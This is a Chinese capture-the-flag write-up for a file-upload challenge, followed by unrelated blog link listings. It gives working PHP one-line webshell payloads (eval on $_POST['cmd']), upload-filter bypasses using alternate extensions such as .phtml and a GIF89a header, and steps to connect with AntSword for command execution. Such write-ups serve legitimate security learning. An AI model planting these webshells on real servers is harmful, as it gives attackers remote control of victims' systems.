[极客大挑战 2019]Upload 1

[极客大挑战 2019]Upload 1

审题

看到是一个文件上传类题型。

知识点

一句话木马的注入

知识点详解

一句话木马的原理

eval()函数会将参数作为PHP代码进行执行,因此通过eval()函数中的参数v提交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$_POST[]变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。

成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行,通过v参数传入命令执行函数system(),执行system()函数中的系统命令。

一句话木马的基本写法。

php 复制代码
1.<?php @eval($_POST['cmd']);?>
2.<?=@eval($_POST['cmd']);?>
3.<script language="php">eval($_REQUEST[cmd])</script>

绕过后缀的有文件格式有php,php3,php4,php5,phtml,pht

解题

上传含有一句话木马的b.txt文件,并使用bp抓包更改后缀

其中前面加上GIF89a,这个可以伪造成jpg格式的文件。

看到更改为.php后缀时显示NO,php所以尝试其他后缀,.phtml成功绕过。但题目又写到no,hacker,你的文件有<?

所以,使用另一种一句话木马格式

更改后发现上传成功

一般上传后的文件在/upload/路径下。

打开b.phtml连接蚁剑。

在根目录下找到flag。

相关推荐
千鼎数字孪生-可视化14 分钟前
WebSocket实时推送技术:PLC状态监控大屏的高效实现路径
网络·websocket·网络协议
李白你好15 分钟前
这是一个用于扫描Zabbix系统中常见漏洞的工具,提供了图形界面(GUI)和命令行(CLI)两种使用方式。
网络·安全·zabbix
蒋星熠22 分钟前
破壁者指南:内网穿透技术的深度解构与实战方法
网络·数据库·redis·python·websocket·网络协议·udp
王火火(DDoS CC防护)1 小时前
网站漏洞扫描要怎么处理?
web安全·网络安全
普蓝机器人3 小时前
AutoTrack-IR-DR200仿真导航实验详解:为高校打造的机器人学习实践平台
人工智能·学习·机器人·移动机器人·三维仿真导航
monster_风铃4 小时前
BFD原理与配置
服务器·网络·tcp/ip·信息安全管理与评估
非凡ghost4 小时前
AOMEI Partition Assistant磁盘分区工具:磁盘管理的得力助手
linux·运维·前端·数据库·学习·生活·软件需求
m0_578267864 小时前
从零开始的python学习(九)P142+P143+P144+P145+P146
笔记·python·学习
zqy02274 小时前
HTTP的Web服务测试在Python中的实现
python·网络协议·http
非凡ghost4 小时前
简朴App(PlainApp):开源、隐私保护的手机管理工具
学习·智能手机·生活·软件需求